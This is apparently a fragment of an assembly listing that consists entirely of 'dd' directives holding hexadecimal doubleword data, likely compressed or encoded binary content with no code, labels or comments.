		dd 0F00B8982h, 304CD036h, 0DFC07178h, 2212E63Eh, 34B1FFE5h
		dd 50A4B2CEh, 41072494h, 0ED22C02Ch, 89C56C93h,	0EC4497EFh
		dd 1C89315Eh, 84A76830h, 79883274h, 48AC5F6Ch, 0EC0432Ch
		dd 58EB71F7h, 29E05031h, 0BD03F716h, 560DCA0Bh,	0B84798F4h
		dd 86FC2DE7h, 24656490h, 745C7071h, 4A7B10BCh, 406CF826h
		dd 8B785F45h, 35E19500h, 0E9A93416h, 4AA60F98h,	1D693DD5h
		dd 5BA58018h, 4B7B2A0Fh, 499C0E2h, 103AE01Eh, 4882CA14h
		dd 98B91224h, 20CAB0A1h, 0CEBC02EFh, 93EC1B00h,	73F85EDFh
		dd 40630274h, 20547ADDh, 5879C071h, 1090B118h, 10A8215Ch
		dd 31049D12h, 805243C4h, 0B8EDEF4Ch, 1842145Ah,	0A0B22361h
		dd 82D029C0h, 4C801C59h, 846845F0h, 7DC0F486h, 11D09D8Ah
		dd 4FC8051h, 0F80D0Ah, 93F62501h, 1D8ADEB8h, 9F8588DDh
		dd 0E4F49A28h, 0C111218Fh, 52058111h, 0F629781Eh, 9F4478F4h
		dd 6D1028BBh, 0ABF6046Ch, 90AAEF23h, 64052240h,	0F8583F61h
		dd 28825ABBh, 0ADE6D86Dh, 1F31D0AFh, 16C45910h,	9482F923h
		dd 0E7962183h, 44742490h, 40AFE53Ah, 404B4F61h,	356C4AECh
		dd 9513EBE9h, 91064417h, 0A448BBC0h, 0B71E0D38h, 42488E90h
		dd 0A02E9C28h, 72BC6667h, 3CE51CFAh, 7BE8044Ah,	3F20B616h
		dd 0D4404515h, 9051C0FEh, 451D2E68h, 0AB467C48h, 520E6550h
		dd 1C50B884h, 472F587h,	2CFE2511h, 0F0636023h, 452CC3Eh
		dd 25BCD030h, 717BACB4h, 187904E5h, 0C89458E7h,	84978858h
		dd 0E4E67FC4h, 0E1BC35B0h, 15AECD04h, 0ECC25DACh, 0CC7231D9h
		dd 0D5F310Eh, 7373F82Ch
		dd 150A076Ah, 0D9349740h, 9B0274DAh, 0A1E822B7h, 0A05464E1h
		dd 9E028020h, 0C447D494h, 0AF17C4F2h, 0DF0178B7h, 889F1FFFh
		dd 8BF4123Bh, 0C055C878h, 3DB295C6h, 0CC17D54Fh, 8C7D582Eh
		dd 9FBB1400h, 3D19241Ch, 9B25FF0h, 9013D010h, 7F1EC7B8h
		dd 1EB62538h, 0EE40B8BEh, 10AAC855h, 0DAAC04AFh, 9082ED2Ch
		dd 8C202D8h, 0ECA24902h, 0F191A9FCh, 1859D17Ch,	1218B341h
		dd 17880861h, 80A67892h, 7B2BAB04h, 9664A858h, 690100A3h
		dd 0CA186250h, 0CC343B03h, 0B0D6B0F8h, 2353C0ACh, 0C8054E2Ch
		dd 3C44FFDAh, 2054DE07h, 8C4D7B10h, 402120B0h, 6B782DFh
		dd 0B1138E4h, 0AC143D1Dh, 98205424h, 0A89016C8h, 23412C9Ch
		dd 0D9C4B73Bh, 2C2E000Dh, 91A78D5Eh, 0AC44171Ch, 0D2BB0B16h
		dd 4471278h, 6BE52403h,	7861266Eh, 0F8223A24h, 8220C490h
		dd 5A149E44h, 465E845Eh, 4BB5131Ch, 0EEB09C97h,	241A7D3h
		dd 0CFDDA5B8h, 0A8848F93h, 48B25696h, 63083F2h,	861F03D1h
		dd 107C3D24h, 10F0E048h, 841BBF58h, 0C4983170h,	0A2974FDFh
		dd 10B1AE70h, 2C8845ECh, 3AA60AF3h, 15D82B68h, 7A0CF060h
		dd 0F8619C05h, 0CEE91760h, 22DA34F3h, 8400A548h, 0DE383B1Bh
		dd 90D158B2h, 3C42582Ch, 0BC04E782h, 77640C52h,	0D0B4F919h
		dd 0E7390045h, 12D29FA0h, 7371A79Eh, 9484B607h,	8CEE985Fh
		dd 93144064h, 355E8438h, 0B11897B3h, 309F49BBh,	0AE5A8494h
		dd 2905E422h, 4D0008F1h, 31C7A18Fh, 8C10FF9h, 4819DC84h
		dd 68406BD0h, 0D2EA9CF3h, 4CE7039Dh, 0BDC41419h, 20EB8DC8h
		dd 0A4A00D7Fh, 0F320F84Bh, 31D8F8A9h, 3F18BC06h, 0F9E6F0D1h
		dd 27E52558h, 642CC737h, 99217F99h, 603F5E78h, 4B11F196h
		dd 2269B88Ah, 0D8B48111h, 68464536h, 0B1C62210h, 2132427h
		dd 406EC88Ch, 9B47028h,	0C83915Fh, 20656C00h, 2297A39Dh
		dd 0D248DF6Ch, 0A0B620BCh, 465E7496h, 32E40B84h, 0B6D484D1h
		dd 0EBDE1943h, 0AC4BD2C2h, 44BDFDh, 8CC850FDh, 0B2BAEB55h
		dd 0D1389914h, 5B91853h, 6BCA1763h, 1024ACEBh, 5060B20Ch
		dd 94A09F1Eh, 0E01808A1h, 9E848B34h, 0AF465E40h, 6A56A400h
		dd 0E1DF2D45h, 0C09C48D4h, 5E1872CFh, 0B7BA0E59h, 482083FDh
		dd 0B495E499h, 0AB00C873h, 22DA07C5h, 906647EDh, 311C9B04h
		dd 23DAF18h, 56604061h,	0D8288143h, 0A95E03BAh,	0EE8070DBh
		dd 6D907778h, 52F4421Fh, 203D4AC1h, 0D00299C5h,	43063472h
		dd 9CD9F868h, 9AA22080h, 737F4B00h, 6724310Dh, 1B1C9044h
		dd 184902BCh, 0BF835C0h, 7179B8C1h, 6C3CBBABh, 84890D2Fh
		dd 34341414h, 6CE6716Dh, 0ABF041E0h, 7B44DF09h,	0EFB9C0E5h
		dd 0B949A6Ah, 0C5C05AAh, 0BC28AC68h, 92418480h,	0D1F49150h
		dd 5FF1882h, 22CE59DCh,	54CC83F9h, 0BB847118h, 9E7529h
		dd 6A3A7107h, 556BD3C3h, 0AAE1F20Bh, 5D78068h, 9CC109F8h
		dd 0A46B6038h, 2A004BECh, 89580CF4h, 40DD48h, 196A3795h
		dd 6B780B7Ch, 264AF0E6h, 614E3005h, 0BC00C0A2h,	0F9E75538h
		dd 2B20CCB4h, 11149C58h, 791001FAh, 301DFFB1h, 8908E404h
		dd 42BD089Ch, 0FFABEE06h, 485E118Fh, 49A09897h,	0E82309Ah
		dd 0EDD306B6h, 0E30AF900h, 6815E223h, 7F84BE84h, 874A9B3Bh
		dd 2B889A61h, 0F0E5E7AFh, 40C840C4h, 210B44Ah, 0FEE2AD78h
		dd 0A4F1A4D9h, 0A009C618h, 0A10EF8EBh, 0A11E52F8h, 11D0E884h
		dd 5B4B06C1h, 0E23100C9h, 0BCD8F050h, 1D00E16Ch, 0F69F2540h
		dd 262179CCh, 91683568h, 8DB5B97h, 0F71B4281h, 1E93F4C0h
		dd 0B803A61Fh, 404DE16h, 6F001254h, 8EEB5EDAh, 586408B9h
		dd 56E00853h, 0D00B6A81h, 425A53Ah, 0BFC4216Fh,	1B14F092h
		dd 0B802ACAAh, 78014726h, 29801DF9h, 0BA77EFEDh, 0B700CA89h
		dd 5F1B3806h, 0B44274h,	4AD32575h, 23531112h, 871C84B7h
		dd 0E4B87494h, 28C57BCh, 0C7CBCED3h, 10448359h,	5F650907h
		dd 0EB1F35Ch, 9FF0E62Ch, 0B368D68Fh, 3056A250h,	0E700A77Bh
		dd 3E82EA16h, 9E798B1Ch, 21626478h, 0BB11BC20h,	50643910h
		dd 0B44856B0h, 0D0EBA050h, 419D4E6h, 47F4CE00h,	0B1ADCA42h
		dd 5A2C2448h, 9EDF3048h, 56317BBFh, 15C3D719h, 53295CBCh
		dd 16F114Ch, 84C92CCEh,	8823AEBFh, 2BB17B00h, 0EC9F92BEh
		dd 2404009Eh, 4A043E5h,	0BCB05C14h, 40099B22h, 599588EFh
		dd 490A0014h, 2DC89656h, 0CC398AAh, 0B8E0ADC5h,	0AF7500F6h
		dd 0BE929C2Ah, 279D6A71h, 0FED5AB20h, 0AA22E880h, 0D191C978h
		dd 1A79C051h, 7101D518h, 46D027BFh, 0A7E99947h,	547F5872h
		dd 9E1A857h, 0B62CD118h, 8597CCD1h, 0A4C15020h,	446F000Ah
		dd 0AAA34599h, 0DD798BF9h, 5ED9BD00h, 734D60Dh,	13E77729h
		dd 10164E03h, 4F79CC48h, 0A27044A9h, 1BAB0143h,	0B025B9A0h
		dd 0B19ECA30h, 580C2070h, 71307072h, 49F46F1h, 4E41F096h
		dd 0F020120Ch, 7C5545E8h, 0DA5E80A4h, 382904B3h, 0EB87E226h
		dd 80D3576Eh, 20957E45h, 696B542Fh, 0F820E430h,	484F71E6h
		dd 96325491h, 9064D191h, 0D793CB13h, 0FE25FF00h, 7B6E437h
		dd 0A45449F1h, 2821C0DFh, 920C603Fh, 89B085A0h,	0BD7B0298h
		dd 0F9885378h, 131C0CA0h, 5A032A56h, 3D24C5C7h,	4480CC60h
		dd 222D168h, 29591DE8h,	7C1BEDh, 0A4FF9104h, 81206CF7h
		dd 58C830C4h, 2EEB5CB0h, 82483128h, 0CBCC2C3Dh,	0A271A887h
		dd 0B07B694Ch, 0C9291990h, 0CEDDC220h, 20D86530h, 3F04B1B6h
		dd 0DEEDE5D9h, 151FC0E9h, 0D88340EAh, 0C15C8E0Fh, 6B4C05F2h
		dd 31AD0218h, 5451032Ch, 22BB843Ch, 2A614468h, 0E7487CA4h
		dd 2BAB2084h, 76CB873h,	0CE520DDDh, 0D819A85h, 944528DBh
		dd 85867CECh, 7D0041B1h, 95E135A0h, 0B2361C75h,	0E44CB064h
		dd 489A4Eh, 0A2B6AEC8h,	0EBA52D70h, 4E641CB1h, 13C4244Fh
		dd 3442AF0Eh, 0E10767BBh, 0A0257788h, 7A4B8402h, 0F884A074h
		dd 0E6973F1Bh, 5E8128E4h, 782B1C49h, 0B4202420h, 0AC90342Ch
		dd 8C18EC24h, 0AE6A8504h, 20AA8A9Fh, 7EF697C8h,	0FA000FE0h
		dd 0CB543CEFh, 7D490D51h, 0E8BB58BDh, 64A1F32Fh, 0BCB0B7h
		dd 58ACE107h, 0FF30ACB5h, 28A98921h, 84B96D17h,	3FAD9420h
		dd 0A3032724h, 0D829C029h, 0A932C068h, 83D4480h, 0B3C1088Ch
		dd 0DDE508h, 0B9A279B5h, 7E2DAD9Bh, 243773h, 97C722BEh
		dd 0BB69D4EFh, 18F831C0h, 0BEBAA8F0h, 1AC388A4h, 8B167024h
		dd 306B9032h, 24E2D64Ah, 0DC2C3FE3h, 3427F67h, 0A457D2B4h
		dd 0CEE05E0Ch, 0AB2C4502h, 6B4074CBh, 83976528h, 64542BE2h
		dd 0CA0874A4h, 925006B5h, 1E2F4073h, 29D438A3h,	0C431886Ah
		dd 0E015934Fh, 0A48F4A38h, 0D6C18288h, 6020683Dh, 45CA047Ch
		dd 0A9A6D16Eh, 0AAE71124h, 7DC22D09h, 0CABB5C30h, 6C1C7624h
		dd 26582A02h, 0D320C19Ch, 781BBB11h, 0ACEAC564h, 60A98024h
		dd 4988127Bh, 9DF820F8h, 0D5F00E99h, 2F9CFD13h,	51DE3C0Ch
		dd 4BCC173Fh, 6F08294Ch, 8F23402Fh, 7B878007h, 3A205050h
		dd 0FE2D17CAh, 0CF2808D4h, 0AA24318Eh, 74CA3851h, 197F970Ch
		dd 10F64DD7h, 3D08E24Ah, 0DAFF008Dh, 0FB9A593Dh, 8D4B486Fh
		dd 2371910Fh, 30A14C6Bh, 6E7ABF92h, 5023003Eh, 64241100h
		dd 15C0A58h, 9695C28Eh,	3C7B2BA8h, 24611258h, 820040A2h
		dd 9D0EA7D1h, 0F54F28E5h, 0AAC464D3h, 0B5BD224Eh, 0F8E52000h
		dd 0ACA29544h, 80D43AE3h, 79205149h, 8D1819h, 70D20EC8h
		dd 0B836F873h, 870218B2h
		dd 86EB07D3h, 41C0C288h, 9FAF0E0h, 0C01BF88Bh, 98CECE1h
		dd 0A97CE841h, 0E010787Dh, 0F0710013h, 0E577A4E3h, 1C3C09BAh
		dd 981051F3h, 9DBD2E10h, 838D91DCh, 806FE595h, 16AFF696h
		dd 42C4252h, 40BA84F0h,	8DC85ACFh, 0DFB73EA9h, 0D3D8BE80h
		dd 751E696Fh, 19A8022Eh, 4AB07B0Fh, 2495CCAh, 99BF8BCh
		dd 0C288E084h, 0D4F632A4h, 4E6B048Bh, 30544184h, 0EF20E1B8h
		dd 248C8069h, 0D2080B0h, 0FF927512h, 115D3802h,	90C8D340h
		dd 20E029AAh, 329166C2h, 62607862h, 0F81603FAh,	9C9297C6h
		dd 2BAC6020h, 58D1C069h, 0E76634F7h, 0E1AED038h, 0AAEB9629h
		dd 192056D0h, 20617724h, 0C86FDFDh, 0A81E284Fh,	0E57B12F4h
		dd 0A44004B5h, 58B225B9h, 0F0301EB2h, 1C3A72E6h, 0C007203Fh
		dd 0A90DCAE3h, 8ABD5B24h, 0A1141014h, 0EB5B7954h, 5E206407h
		dd 7ECAE662h, 8046745Ch, 1CF05800h, 143EF418h, 0C4774Eh
		dd 8523283Ah, 78E9C507h, 0C9744389h, 8114B225h,	2475794h
		dd 0FCE0C0DDh, 6084973Dh, 1E0101Ah, 0F02729BCh,	307A1383h
		dd 0B405A270h, 0A350624Ch, 81F8E222h, 0BCB49F0Ch, 23683B2Ah
		dd 0F6DB0050h, 0F2F07B58h, 0E502E77Ah, 531C3138h, 91C4945Dh
		dd 1881D1F0h, 0CE98D9h,	88070F61h, 14C8E4F3h, 3F023604h
		dd 8AB1851h, 0DA020E34h, 0FC9B88EFh, 878462D4h,	8A46A20h
		dd 764F0EC2h, 448180BAh, 300B4DCDh, 1200BD95h, 858D8916h
		dd 7A06AC08h, 1FF93583h, 87B8840Ch, 81020C64h, 9EEADF32h
		dd 683E321h, 96830F17h,	6A700C01h, 3E85718h, 725F201Dh
		dd 7C892DC3h, 16431175h, 57472180h, 0EE552DC3h,	294CE928h
		dd 66218D50h, 3DF88B0Ah, 5F903798h, 58C350C8h, 448991C3h
		dd 40881818h, 0F8C30050h, 3FDCC686h, 1063870Fh,	0BE91Dh
		dd 329B6C0Bh, 65762048h, 59ABDF02h, 84D38B3Dh, 0B7873B92h
		dd 89D0FF00h, 8CC2E5B5h, 408E1C95h, 0B7310F1Eh,	0C88B22F9h
		dd 0C694C0C9h, 8511ADD7h, 975181Eh, 880A2912h, 50311974h
		dd 0C6B83253h, 8589938Eh, 8D03CE55h, 0AEA2649Dh, 5BD3FFB0h
		dd 20225856h, 0BF208717h, 8B009F23h, 159589FEh,	6624C032h
		dd 0CDE7CF81h, 20B1ECFBh, 8A9416D8h, 0BC9AA3EEh, 0CDBD845Eh
		dd 0F81B9113h, 4A85FCFFh, 0DE81FC5h, 4450501h, 0BB609E68h
		dd 753906DFh, 4214EE8Eh, 0F352120h, 0F985C75Fh,	0E031E81Dh
		dd 0C569F401h, 22EAE915h, 0FE220CD7h, 59CB40A5h, 2435005Eh
		dd 4363C5AFh, 21A832E9h, 53A31131h, 832308C4h, 10C58D8Bh
		dd 11D06121h, 287E0013h, 4961BA91h, 24C8003Dh, 755FC10h
		dd 710EE9BFh, 0A3B6BBF4h, 88FFF2D9h, 0DE1DBD0Bh, 810AD46Fh
		dd 78251880h, 4091E1Fh,	21372B4Bh, 0C306B90Ch, 85F40D23h
		dd 100D7E8Bh, 42B907DDh, 5A3052B0h, 4689E4C3h, 201C2254h
		dd 0CC005242h, 0A1D19653h, 0F711C11Fh, 68CA8920h, 108BC05Fh
		dd 9FC0302h, 760E4185h,	0F2D02083h, 0C89CF563h,	0E90F18F4h
		dd 0BF0F6538h, 0D82CFE62h, 0D18100F0h, 2A2521BEh, 72207D28h
		dd 0CC40E09h, 2E818A01h, 0F10A859Fh, 7FF64BD8h,	8940063Ch
		dd 7C27759Dh, 60003784h, 21965BB8h, 416A6125h, 852FD934h
		dd 0B5FF502Ah, 78911610h, 0F199512h, 60073022h,	8001689Ah
		dd 17B08C66h, 3C04C324h, 0C6190219h, 0C03339D8h, 52685636h
		dd 9C62A8B8h, 9312815Eh, 483AC389h, 6A24270Ch, 0E56E38A3h
		dd 0F78164EDh, 0F53BC010h, 470E2D42h, 18A49B68h, 562479ECh
		dd 581EA4F0h, 261ED54Fh, 7D3CF12Fh, 1D500E30h, 537DC137h
		dd 8556286Ah, 75C08518h, 68417530h, 87641598h, 0D0A62ADBh
		dd 4CC15442h, 0C9E7A468h, 8205A80h, 0BF3B9D8Bh,	53045B0Ch
		dd 0E18640A8h, 55C71558h, 0B0C3CF03h, 0D8020C43h, 659260Fh
		dd 2685AC40h, 0C5532FD9h, 53025A6Ah, 49B53419h,	28174491h
		dd 6804456Dh, 92A5F797h, 39347904h, 0C02679Ah, 32752EB0h
		dd 0C0DA66A6h, 234E35A1h, 14D9040Ch, 0D1798CACh, 51082150h
		dd 590E129Bh, 4C8945C3h, 4100C28Eh, 0AACFC351h,	0DC16EF76h
		dd 305FA8Bh, 7803116Dh,	0B4AF2845h, 9AFBF683h, 1039C68Eh
		dd 2C199995h, 0EF025550h, 6857ED1Fh, 28645A31h,	7C7C35FFh
		dd 1F805460h, 13B12085h, 7C6EBB00h, 316163C0h, 57D4D95h
		dd 2589640Ah, 8E80C20h,	9702400Bh, 0B7215B68h, 0C02842C7h
		dd 98595F4Ch, 5392EB3h,	0B896798h, 1D11509Fh, 7A5C8580h
		dd 9C018937h, 0AB919B61h, 5AA3F38Ah, 0EA50B84h,	161D890h
		dd 496E6982h, 0E9900014h, 0BD80B26Ch, 0AEF95418h, 883785A5h
		dd 28C1FAB6h, 0E96A48F7h, 8EBC4AB4h, 0C01D88FEh, 0CF7BE250h
		dd 0A2CC73Ch, 0E34DF3D7h, 0F806D318h, 0F5DB0633h, 3907E950h
		dd 0CEF0871Eh, 39130CC0h, 0C0C0335Fh, 8BA1D290h, 3F020F40h
		dd 8F640B07h, 0FDCC9205h, 0D1287C70h, 22B18650h, 56B85919h
		dd 0C3725E18h, 11748923h, 56460017h, 0C09A3BC3h, 0EE930D6h
		dd 0BC72F619h, 82C65401h, 51EFE146h, 17AD1CF8h,	0AFB8329h
		dd 2C178476h, 13410823h, 0FB58B591h, 895CCF3Ch,	1B0AB189h
		dd 0C70C038Ch, 1933A481h, 0D38303FFh, 41528B8h,	8BC31885h
		dd 0E855305Ch, 815D10E1h, 936749EDh, 1B838B14h,	89FA9F50h
		dd 5D0C5389h, 8D094F09h, 80DD21FDh, 32BF74EAh, 24B53CC2h
		dd 0BA40AF08h, 0C453D812h, 9C5FD1C8h, 8D122BAEh, 9B2D202Dh
		dd 5307CF63h, 40B5FD83h, 5CF494A9h, 3B2ADB04h, 0B8400AB9h
		dd 4855D704h, 44640524h, 65BB0D00h, 0E8685D4h, 34B640BAh
		dd 0E8EA461Fh, 0ED770C5Fh, 5868FB01h, 0A75564Dh, 0E121CA30h
		dd 192A0102h, 44574772h, 2949601Bh, 3A4390A1h, 0F96FF67h
		dd 0CF0D3386h, 3B8483C2h, 0E567C2FCh, 0EE2C9B51h, 43D217Eh
		dd 440C0108h, 20432FCBh, 0EE966C8Bh, 5D1C5546h,	6C8989C3h
		dd 4500F01Ch, 3969C355h, 50BCF0Fh, 834F152Fh, 0A9A4C119h
		dd 0F30B0521h, 47F3A5D2h, 80918A5Bh, 0E6392E31h, 15BE130h
		dd 63784580h, 74037065h, 206E6F69h, 0B0669B49h,	0A2616D72h
		dd 6CBD400Ch, 0E673F265h, 6320332Ch, 5ECF7418h,	68BE3A7Eh
		dd 7C737CFCh, 67777D66h, 0C7641272h, 0D76CE776h, 736F9F70h
		dd 34697766h, 76361D8Bh, 361C266Ch, 4067676Eh, 0AE2E733Bh
		dd 0BE3EA254h, 0BD79BE6Bh, 0D0A9B75h, 131FD04h,	80987028h
		dd 54436E73h, 2B4C521Dh, 78EBEC7Fh, 0CB46A369h,	187A6E64h
		dd 79707B98h, 696C08A8h, 8AFF62F2h, 362964DAh, 56684220h
		dd 0EF4FA6DFh, 3925EF3Dh, 0E882431Eh, 4E496B63h, 70640FA4h
		dd 8E54554Fh, 6F72501Fh, 0F851DE8h, 0F643BB4h, 68B6F310h
		dd 16720F3Dh, 0A350F21Eh, 1E18478Eh, 0BD0B0448h, 0D7182AADh
		dd 4382012Dh, 419DFA85h, 0E885093h, 0E7AE9CEDh,	7E0D8097h
		dd 24852793h, 0AAF29BEh, 2C07C819h, 1164CB9h, 0ABC12BA2h
		dd 0D111DE83h, 250A6671h, 13C4CC21h, 0C4D8216Bh, 0E0216B60h
		dd 216B7EC4h, 6B67C4DCh, 6FC4D021h, 0C4D4216Bh,	0C462A76h
		dd 16112110h, 3E20A2E9h, 910879BDh, 0D95953Ah, 85016110h
		dd 0F1CC1185h, 812F40C5h, 1CF8C212h, 8D6A8CEEh,	1AF99516h
		dd 34523446h, 0C3400728h, 0F2893BD4h, 11521C0Dh, 22400CD1h
		dd 9D8B2A55h, 4CC33C13h, 34890392h, 50116265h, 210FCC11h
		dd 0F2D81054h, 0FDC1158h, 0D0115C21h, 559FDC52h, 68A2AF0Dh
		dd 5A29CD28h, 19D40C32h, 86DC0CD0h, 0CC21D843h,	0A50C891h
		dd 141C93C2h, 798207FAh
		dd 60AAC2Bh, 0D514F90Ch, 6A2419C4h, 4BE42440h, 27774E19h
		dd 0B6B30184h, 60C18B0Eh, 0B10BD76Bh, 1C11661Dh, 6E05E280h
		dd 0C2396F33h, 811580FCh, 0AE16A6E6h, 40E85B39h, 3288BC83h
		dd 348D9C7h, 5983A2Eh, 59DDB183h, 0EC869CFh, 6257ED69h
		dd 0B17040Eh, 40C5A0B1h, 3E6019E4h, 740A56B5h, 0AEFC2C97h
		dd 19467Ch, 1321DFBBh, 9CF84EFCh, 153D510Ch, 0E9F19380h
		dd 21239432h, 18157137h, 60F438C8h, 0EE0EBF80h,	0CABE6D8Ch
		dd 617C87A0h, 7E43E94Ah, 8B59BF37h, 0DF8CD9E3h,	0F34F92Eh
		dd 0E0A2BDE1h, 33C453DAh, 4183BC5Dh, 0E431E8E4h, 0AE00E76Dh
		dd 0EEEFB854h, 24F7665Eh, 88C204C7h, 0C64B01D1h, 21D2FB1Ah
		dd 81BEE9F5h, 81FF2B27h, 0FA9449D9h, 3812E309h,	0B9860030h
		dd 7E4757C0h, 8366933Bh, 0B2501CB7h, 14E9C1BCh,	17344F85h
		dd 1F4C5DFh, 0E44D7CBBh, 2041D949h, 19098764h, 6CBE8838h
		dd 0EEBA0455h, 0B6404910h, 722F4B54h, 2A001423h, 8B56B2F9h
		dd 860F2FC4h, 4CCB5599h, 0A72E1EBCh, 0CD0462E0h, 16B1EB01h
		dd 1A883A0Bh, 54BFDCC0h, 0AE2213DBh, 0D8020929h, 6A00A2C4h
		dd 71941453h, 966170B9h, 896DC97Dh, 525CDDC0h, 3BE0427h
		dd 0E44DA0ACh, 0B24D7BAh, 0D21368C0h, 1C8874CFh, 0C88A5DC0h
		dd 0A53A00BBh, 66F6BC74h, 1029EABAh, 15712961h,	561DC218h
		dd 7017BD8Dh, 71BA65C0h, 1B8274Dh, 21CE8990h, 0E7FFF212h
		dd 1623BC3Ah, 0C0BAB605h, 8B00EEE2h, 582FF72h, 5EC4D6CEh
		dd 0DCE057ACh, 60CF9C10h, 140B60Fh, 45C8FE20h, 12A4D6B0h
		dd 0C382F002h, 0E078669Bh, 568F00B3h, 0A3BA498Eh, 32120251h
		dd 0F9CB61F8h, 0B5C016C8h, 26600CF0h, 298D61F9h, 181BD127h
		dd 4B9807ECh, 527A5FFh,	0D2219E63h, 0EC88ADAh, 801A915Fh
		dd 3775A810h, 0A4A50DEAh, 2AB6E88Ah, 0F8836234h, 0F4C2DBC9h
		dd 1E0A8DF4h, 9583EBh, 0E9B96805h, 6C0055BBh, 815E02B1h
		dd 3BC485D2h, 0C60A13D9h, 3E255ADBh, 0C04A33BCh, 0E81E042Dh
		dd 0AD562095h, 92CD73h,	63052975h, 0A1A39C03h, 4A173900h
		dd 3F132A83h, 0F8C4C0Fh, 9B74B980h, 5F01662Ch, 0C14BF081h
		dd 0B8E34C4Fh, 0F69A57CAh, 0BED8F9E8h, 1DE9585Ah, 0BDED6080h
		dd 4250AC56h, 3EC0E0E5h, 1F3DCBC2h, 89F8318Bh, 0DCD2809Ch
		dd 0CC07BF66h, 2EB832Ch, 4B78F5A1h, 0CEE0E7C7h,	25B4FB81h
		dd 2061FFA5h, 0CC0ABB91h, 5F5201A7h, 57F935B3h,	0DC83044Bh
		dd 1001FB23h, 97A37295h, 104051D9h, 10134A0h, 381E05FCh
		dd 0F0B815D8h, 0CF013950h, 54B76677h, 489EF174h, 193E1F08h
		dd 1BC2896h, 910FCEC9h,	7B389850h, 713F6050h, 0AB3108CAh
		dd 0B4B5EE09h, 18E20C5Fh, 39BB632Ch, 412C2DDBh,	0A31803B4h
		dd 61087A18h, 7F2639F5h, 4E51802Ch, 75F66D93h, 0D96700EBh
		dd 0DFE6F2B4h, 0DA01FBD3h, 27F34DFAh, 918E5C7Dh, 98B562A7h
		dd 0D8720378h, 591511A0h, 1AF32EF8h, 6FB8BF18h,	3AC277E0h
		dd 0FD036B9Fh, 0B61DF27Bh, 3EC9C903h, 0A0F1DA48h, 39B3D29h
		dd 0F6E5B5F3h, 67E07F54h, 7605329Fh, 0D23AA285h, 0BD55DFC0h
		dd 9C36EC1h, 75986AE1h,	0F33ACC0Fh, 0B9BF170Ah,	0F5E04CF0h
		dd 149FF936h, 0E09D3ACEh, 8CB8FA8Ah, 0A4863A2h,	0F01B3432h
		dd 5E7F04EAh, 1ACB155h,	63F4B93Ah, 5FFD381Fh, 31F652DCh
		dd 3E48C5D8h, 4CE4E4F7h, 81E020D0h, 3D979B72h, 25E1DFD1h
		dd 0AE3C188Eh, 5F21678Ch, 50302EF0h, 3916714Dh,	88F051F1h
		dd 4880F8E1h, 0B83EC2EDh, 2D30BAD9h, 0B6547113h, 0BE5708A7h
		dd 2280A8B9h, 0EFCC06F4h, 44B40687h, 0C1A32CF8h, 0B1BC1F00h
		dd 0BAC4F252h, 5CFB3B25h, 0F89CA174h, 0FC4D3310h, 387C2712h
		dd 0E14A1046h, 40204510h, 2B72E410h, 0E3A36700h, 5075824Fh
		dd 33ED8854h, 4E243774h, 0D7427438h, 0CABCA0C3h, 6CB65A4h
		dd 1DEA03B9h, 2FE7989h,	4A00EB7Dh, 0C3B2F2D4h, 0FA38699h
		dd 0FDE323B1h, 2C040C49h, 12724251h, 988C8E6Eh,	1D86187Ah
		dd 0D5298F89h, 7BB4DCh,	9A12AB41h, 1A0A487Ah, 4E4B2309h
		dd 0E3B01137h, 68B81C24h, 0BC88595Eh, 0D8114630h, 0A2015612h
		dd 26B7EF41h, 0D44C6C7Dh, 0A8A84814h, 60513435h, 1838CE60h
		dd 7CA021C0h, 14468521h, 0C70D0FFh, 2CA1BC06h, 20099193h
		dd 15D60B9h, 8B977220h,	0C28ED0h, 0D8709375h, 5916C5EDh
		dd 8F0A14ACh, 30357CBCh, 3E73A13Dh, 41914C0Fh, 36372C83h
		dd 0A3616800h, 843AB74Dh, 49CA1BF1h, 0F3F79E22h, 20ED2C10h
		dd 59A93F90h, 827EE43Ah, 7B27C67Ah, 0B49C48C4h,	85689869h
		dd 3F83E128h, 0A9800E91h, 1AAAEB64h, 79593B60h,	0A8625022h
		dd 0C8FF3C0h, 0B9DBF6C0h, 0AD71B761h, 6D816201h, 0FCBC13B8h
		dd 5C211C22h, 0C7ED6B82h, 0F93E619Dh, 0AD809841h, 0AF41B808h
		dd 0C4A81890h, 0B022AAACh, 81A26018h, 30C5DE2Ah, 11E21C0Ch
		dd 0BEA51FD9h, 0CD7B4034h, 98157AECh, 0B47CA21Ch, 78412C6Ah
		dd 3BF012F3h, 905E36h, 0FC3AB9F3h, 2018CC65h, 0BA28AC17h
		dd 0B13C6924h, 47F60424h, 7640ADD9h, 0C294980Ch, 7ADCB420h
		dd 70D1C84Bh, 0B775D045h, 39A8644Ch, 8161B8EBh,	0B93C9DFDh
		dd 78600882h, 0AE881272h, 0F43C03C8h, 3CF08960h, 44B0FB84h
		dd 0A69F4481h, 0D80CA051h, 0CF231AAh, 0A6E40CA1h, 2848CC80h
		dd 3E6C480Bh, 0B8EC18BCh, 20393E18h, 7F38FC5Dh,	582A07Ch
		dd 316E5BA2h, 2CDC0284h, 9493A1D4h, 3009A3C3h, 86CC4976h
		dd 0A01098B7h, 838168B4h, 97651810h, 8CC81C14h,	0DA47CA80h
		dd 4503529Dh, 97437232h, 0F929A3DDh, 29806174h,	387DCADFh
		dd 0FC1586F6h, 22B060BBh, 0BDA2028Fh, 687626BFh, 0D9D2F8A0h
		dd 957C72DEh, 6B0033FEh, 3F92749Ah, 5C9DF23Dh, 328F0063h
		dd 0BE8C9181h, 2C8862B8h, 0FD41C850h, 6460708Dh, 0FC3658DAh
		dd 3A2C7054h, 147C39C0h, 0BCAEC95Bh, 97B11C00h,	7FD17730h
		dd 2CF88B63h, 3E64980Eh, 0A14D315Ch, 11962D29h,	1A128CDFh
		dd 89A36D10h, 2471019h,	73CC1ECAh, 419EC0B8h, 7233C905h
		dd 9C1AB20Ch, 0F3E2143h, 5B2CC481h, 248D22A3h, 5DD6FFE8h
		dd 8A287800h, 9483BC21h, 0CE41004Bh, 0D812511Bh, 0B61F7CC9h
		dd 90C0871Eh, 9FAD1F3h,	0D7070022h, 56AA857Dh, 5430A192h
		dd 0E32919D2h, 68DF30A8h, 86178111h, 0C16A28C0h, 2E0AC8h
		dd 0E2AFB6ADh, 0E4E17E5Eh, 0DD017C7Fh, 10D5BDFBh, 0D8313B93h
		dd 0EAD6D8h, 6EC7B896h,	9766FAF2h, 48393502h, 4080952Ah
		dd 7ED82495h, 297E03E0h, 0D335BE56h, 420646F0h,	81F30A0Eh
		dd 0AD99C123h, 2EE851DBh, 0C47CA4h, 68A87A59h, 0D6F8C9E6h
